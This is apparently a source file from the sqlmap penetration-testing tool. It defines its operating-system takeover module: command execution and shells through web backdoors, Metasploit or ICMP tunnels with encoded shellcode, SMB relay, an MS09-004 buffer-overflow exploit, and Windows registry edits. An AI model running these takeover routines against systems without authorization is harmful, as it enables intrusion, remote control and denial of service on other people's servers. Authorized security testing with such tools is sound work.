1#!/usr/bin/env python 2 3""" 4Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) 5See the file 'LICENSE' for copying permission 6""" 7 8import os 9 10from lib.core.common import Backend 11from lib.core.common import getSafeExString 12from lib.core.common import isDigit 13from lib.core.common import isStackingAvailable 14from lib.core.common import openFile 15from lib.core.common import readInput 16from lib.core.common import runningAsAdmin 17from lib.core.data import conf 18from lib.core.data import kb 19from lib.core.data import logger 20from lib.core.enums import DBMS 21from lib.core.enums import OS 22from lib.core.exception import SqlmapFilePathException 23from lib.core.exception import SqlmapMissingDependence 24from lib.core.exception import SqlmapMissingMandatoryOptionException 25from lib.core.exception import SqlmapMissingPrivileges 26from lib.core.exception import SqlmapNotVulnerableException 27from lib.core.exception import SqlmapSystemException 28from lib.core.exception import SqlmapUndefinedMethod 29from lib.core.exception import SqlmapUnsupportedDBMSException 30from lib.takeover.abstraction import Abstraction 31from lib.takeover.icmpsh import ICMPsh 32from lib.takeover.metasploit import Metasploit 33from lib.takeover.registry import Registry 34 35class Takeover(Abstraction, Metasploit, ICMPsh, Registry): 36 """ 37 This class defines generic OS takeover functionalities for plugins. 38 """ 39 40 def __init__(self): 41 self.cmdTblName = ("%soutput" % conf.tablePrefix) 42 self.tblField = "data" 43 44 Abstraction.__init__(self) 45 46 def osCmd(self): 47 if isStackingAvailable() or conf.direct: 48 web = False 49 elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): 50 infoMsg = "going to use a web backdoor for command execution" 51 logger.info(infoMsg) 52 53 web = True 54 else: 55 errMsg = "unable to execute operating system commands via " 56 errMsg += "the back-end DBMS" 57 raise SqlmapNotVulnerableException(errMsg) 58 59 self.getRemoteTempPath() 60 self.initEnv(web=web) 61 62 if not web or (web and self.webBackdoorUrl is not None): 63 self.runCmd(conf.osCmd) 64 65 if not conf.osShell and not conf.osPwn and not conf.cleanup: 66 self.cleanup(web=web) 67 68 def osShell(self): 69 if isStackingAvailable() or conf.direct: 70 web = False 71 elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): 72 infoMsg = "going to use a web backdoor for command prompt" 73 logger.info(infoMsg) 74 75 web = True 76 else: 77 errMsg = "unable to prompt for an interactive operating " 78 errMsg += "system shell via the back-end DBMS because " 79 errMsg += "stacked queries SQL injection is not supported" 80 raise SqlmapNotVulnerableException(errMsg) 81 82 self.getRemoteTempPath() 83 84 try: 85 self.initEnv(web=web) 86 except SqlmapFilePathException: 87 if not web and not conf.direct: 88 infoMsg = "falling back to web backdoor method..." 89 logger.info(infoMsg) 90 91 web = True 92 kb.udfFail = True 93 94 self.initEnv(web=web) 95 else: 96 raise 97 98 if not web or (web and self.webBackdoorUrl is not None): 99 self.shell() 100 101 if not conf.osPwn and not conf.cleanup: 102 self.cleanup(web=web) 103 104 def osPwn(self): 105 goUdf = False 106 fallbackToWeb = False 107 setupSuccess = False 108 109 self.checkDbmsOs() 110 111 if Backend.isOs(OS.WINDOWS): 112 msg = "how do you want to establish the tunnel?" 113 msg += "\n[1] TCP: Metasploit Framework (default)" 114 msg += "\n[2] ICMP: icmpsh - ICMP tunneling" 115 116 while True: 117 tunnel = readInput(msg, default='1') 118 119 if isDigit(tunnel) and int(tunnel) in (1, 2): 120 tunnel = int(tunnel) 121 break 122 123 else: 124 warnMsg = "invalid value, valid values are '1' and '2'" 125 logger.warn(warnMsg) 126 else: 127 tunnel = 1 128 129 debugMsg = "the tunnel can be established only via TCP when " 130 debugMsg += "the back-end DBMS is not Windows" 131 logger.debug(debugMsg) 132 133 if tunnel == 2: 134 isAdmin = runningAsAdmin() 135 136 if not isAdmin: 137 errMsg = "you need to run sqlmap as an administrator " 138 errMsg += "if you want to establish an out-of-band ICMP " 139 errMsg += "tunnel because icmpsh uses raw sockets to " 140 errMsg += "sniff and craft ICMP packets" 141 raise SqlmapMissingPrivileges(errMsg) 142 143 try: 144 __import__("impacket") 145 except ImportError: 146 errMsg = "sqlmap requires 'python-impacket' third-party library " 147 errMsg += "in order to run icmpsh master. You can get it at " 148 errMsg += "http://code.google.com/p/impacket/downloads/list" 149 raise SqlmapMissingDependence(errMsg) 150 151 filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" 152 153 if os.path.exists(filename): 154 try: 155 with openFile(filename, "wb") as f: 156 f.write("1") 157 except IOError as ex: 158 errMsg = "there has been a file opening/writing error " 159 errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) 160 raise SqlmapSystemException(errMsg) 161 else: 162 errMsg = "you need to disable ICMP replies by your machine " 163 errMsg += "system-wide. For example run on Linux/Unix:\n" 164 errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" 165 errMsg += "If you miss doing that, you will receive " 166 errMsg += "information from the database server and it " 167 errMsg += "is unlikely to receive commands sent from you" 168 logger.error(errMsg) 169 170 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): 171 self.sysUdfs.pop("sys_bineval") 172 173 self.getRemoteTempPath() 174 175 if isStackingAvailable() or conf.direct: 176 web = False 177 178 self.initEnv(web=web) 179 180 if tunnel == 1: 181 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): 182 msg = "how do you want to execute the Metasploit shellcode " 183 msg += "on the back-end database underlying operating system?" 184 msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" 185 msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" 186 187 while True: 188 choice = readInput(msg, default='1') 189 190 if isDigit(choice) and int(choice) in (1, 2): 191 choice = int(choice) 192 break 193 194 else: 195 warnMsg = "invalid value, valid values are '1' and '2'" 196 logger.warn(warnMsg) 197 198 if choice == 1: 199 goUdf = True 200 201 if goUdf: 202 exitfunc = "thread" 203 setupSuccess = True 204 else: 205 exitfunc = "process" 206 207 self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") 208 209 if not goUdf: 210 setupSuccess = self.uploadShellcodeexec(web=web) 211 212 if setupSuccess is not True: 213 if Backend.isDbms(DBMS.MYSQL): 214 fallbackToWeb = True 215 else: 216 msg = "unable to mount the operating system takeover" 217 raise SqlmapFilePathException(msg) 218 219 if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: 220 debugMsg = "by default MySQL on Windows runs as SYSTEM " 221 debugMsg += "user, no need to privilege escalate" 222 logger.debug(debugMsg) 223 224 elif tunnel == 2: 225 setupSuccess = self.uploadIcmpshSlave(web=web) 226 227 if setupSuccess is not True: 228 if Backend.isDbms(DBMS.MYSQL): 229 fallbackToWeb = True 230 else: 231 msg = "unable to mount the operating system takeover" 232 raise SqlmapFilePathException(msg) 233 234 if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): 235 web = True 236 237 if fallbackToWeb: 238 infoMsg = "falling back to web backdoor to establish the tunnel" 239 else: 240 infoMsg = "going to use a web backdoor to establish the tunnel" 241 logger.info(infoMsg) 242 243 self.initEnv(web=web, forceInit=fallbackToWeb) 244 245 if self.webBackdoorUrl: 246 if not Backend.isOs(OS.WINDOWS) and conf.privEsc: 247 # Unset --priv-esc if the back-end DBMS underlying operating 248 # system is not Windows 249 conf.privEsc = False 250 251 warnMsg = "sqlmap does not implement any operating system " 252 warnMsg += "user privilege escalation technique when the " 253 warnMsg += "back-end DBMS underlying system is not Windows" 254 logger.warn(warnMsg) 255 256 if tunnel == 1: 257 self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") 258 setupSuccess = self.uploadShellcodeexec(web=web) 259 260 if setupSuccess is not True: 261 msg = "unable to mount the operating system takeover" 262 raise SqlmapFilePathException(msg) 263 264 elif tunnel == 2: 265 setupSuccess = self.uploadIcmpshSlave(web=web) 266 267 if setupSuccess is not True: 268 msg = "unable to mount the operating system takeover" 269 raise SqlmapFilePathException(msg) 270 271 if setupSuccess: 272 if tunnel == 1: 273 self.pwn(goUdf) 274 elif tunnel == 2: 275 self.icmpPwn() 276 else: 277 errMsg = "unable to prompt for an out-of-band session" 278 raise SqlmapNotVulnerableException(errMsg) 279 280 if not conf.cleanup: 281 self.cleanup(web=web) 282 283 def osSmb(self): 284 self.checkDbmsOs() 285 286 if not Backend.isOs(OS.WINDOWS): 287 errMsg = "the back-end DBMS underlying operating system is " 288 errMsg += "not Windows: it is not possible to perform the SMB " 289 errMsg += "relay attack" 290 raise SqlmapUnsupportedDBMSException(errMsg) 291 292 if not isStackingAvailable() and not conf.direct: 293 if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): 294 errMsg = "on this back-end DBMS it is only possible to " 295 errMsg += "perform the SMB relay attack if stacked " 296 errMsg += "queries are supported" 297 raise SqlmapUnsupportedDBMSException(errMsg) 298 299 elif Backend.isDbms(DBMS.MYSQL): 300 debugMsg = "since stacked queries are not supported, " 301 debugMsg += "sqlmap is going to perform the SMB relay " 302 debugMsg += "attack via inference blind SQL injection" 303 logger.debug(debugMsg) 304 305 printWarn = True 306 warnMsg = "it is unlikely that this attack will be successful " 307 308 if Backend.isDbms(DBMS.MYSQL): 309 warnMsg += "because by default MySQL on Windows runs as " 310 warnMsg += "Local System which is not a real user, it does " 311 warnMsg += "not send the NTLM session hash when connecting to " 312 warnMsg += "a SMB service" 313 314 elif Backend.isDbms(DBMS.PGSQL): 315 warnMsg += "because by default PostgreSQL on Windows runs " 316 warnMsg += "as postgres user which is a real user of the " 317 warnMsg += "system, but not within the Administrators group" 318 319 elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): 320 warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() 321 warnMsg += "runs as Network Service which is not a real user, " 322 warnMsg += "it does not send the NTLM session hash when " 323 warnMsg += "connecting to a SMB service" 324 325 else: 326 printWarn = False 327 328 if printWarn: 329 logger.warn(warnMsg) 330 331 self.smb() 332 333 def osBof(self): 334 if not isStackingAvailable() and not conf.direct: 335 return 336 337 if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): 338 errMsg = "the back-end DBMS must be Microsoft SQL Server " 339 errMsg += "2000 or 2005 to be able to exploit the heap-based " 340 errMsg += "buffer overflow in the 'sp_replwritetovarbin' " 341 errMsg += "stored procedure (MS09-004)" 342 raise SqlmapUnsupportedDBMSException(errMsg) 343 344 infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() 345 infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " 346 infoMsg += "buffer overflow (MS09-004)" 347 logger.info(infoMsg) 348 349 msg = "this technique is likely to DoS the DBMS process, are you " 350 msg += "sure that you want to carry with the exploit? [y/N] " 351 352 if readInput(msg, default='N', boolean=True): 353 self.initEnv(mandatory=False, detailed=True) 354 self.getRemoteTempPath() 355 self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) 356 self.bof() 357 358 def uncPathRequest(self): 359 errMsg = "'uncPathRequest' method must be defined " 360 errMsg += "into the specific DBMS plugin" 361 raise SqlmapUndefinedMethod(errMsg) 362 363 def _regInit(self): 364 if not isStackingAvailable() and not conf.direct: 365 return 366 367 self.checkDbmsOs() 368 369 if not Backend.isOs(OS.WINDOWS): 370 errMsg = "the back-end DBMS underlying operating system is " 371 errMsg += "not Windows" 372 raise SqlmapUnsupportedDBMSException(errMsg) 373 374 self.initEnv() 375 self.getRemoteTempPath() 376 377 def regRead(self): 378 self._regInit() 379 380 if not conf.regKey: 381 default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" 382 msg = "which registry key do you want to read? [%s] " % default 383 regKey = readInput(msg, default=default) 384 else: 385 regKey = conf.regKey 386 387 if not conf.regVal: 388 default = "ProductName" 389 msg = "which registry key value do you want to read? [%s] " % default 390 regVal = readInput(msg, default=default) 391 else: 392 regVal = conf.regVal 393 394 infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) 395 logger.info(infoMsg) 396 397 return self.readRegKey(regKey, regVal, True) 398 399 def regAdd(self): 400 self._regInit() 401 402 errMsg = "missing mandatory option" 403 404 if not conf.regKey: 405 msg = "which registry key do you want to write? " 406 regKey = readInput(msg) 407 408 if not regKey: 409 raise SqlmapMissingMandatoryOptionException(errMsg) 410 else: 411 regKey = conf.regKey 412 413 if not conf.regVal: 414 msg = "which registry key value do you want to write? " 415 regVal = readInput(msg) 416 417 if not regVal: 418 raise SqlmapMissingMandatoryOptionException(errMsg) 419 else: 420 regVal = conf.regVal 421 422 if not conf.regData: 423 msg = "which registry key value data do you want to write? " 424 regData = readInput(msg) 425 426 if not regData: 427 raise SqlmapMissingMandatoryOptionException(errMsg) 428 else: 429 regData = conf.regData 430 431 if not conf.regType: 432 default = "REG_SZ" 433 msg = "which registry key value data-type is it? " 434 msg += "[%s] " % default 435 regType = readInput(msg, default=default) 436 else: 437 regType = conf.regType 438 439 infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) 440 infoMsg += "with data '%s'. " % regData 441 infoMsg += "This will work only if the user running the database " 442 infoMsg += "process has privileges to modify the Windows registry." 443 logger.info(infoMsg) 444 445 self.addRegKey(regKey, regVal, regType, regData) 446 447 def regDel(self): 448 self._regInit() 449 450 errMsg = "missing mandatory option" 451 452 if not conf.regKey: 453 msg = "which registry key do you want to delete? " 454 regKey = readInput(msg) 455 456 if not regKey: 457 raise SqlmapMissingMandatoryOptionException(errMsg) 458 else: 459 regKey = conf.regKey 460 461 if not conf.regVal: 462 msg = "which registry key value do you want to delete? " 463 regVal = readInput(msg) 464 465 if not regVal: 466 raise SqlmapMissingMandatoryOptionException(errMsg) 467 else: 468 regVal = conf.regVal 469 470 message = "are you sure that you want to delete the Windows " 471 message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) 472 473 if not readInput(message, default='N', boolean=True): 474 return 475 476 infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) 477 infoMsg += "This will work only if the user running the database " 478 infoMsg += "process has privileges to modify the Windows registry." 479 logger.info(infoMsg) 480 481 self.delRegKey(regKey, regVal) 482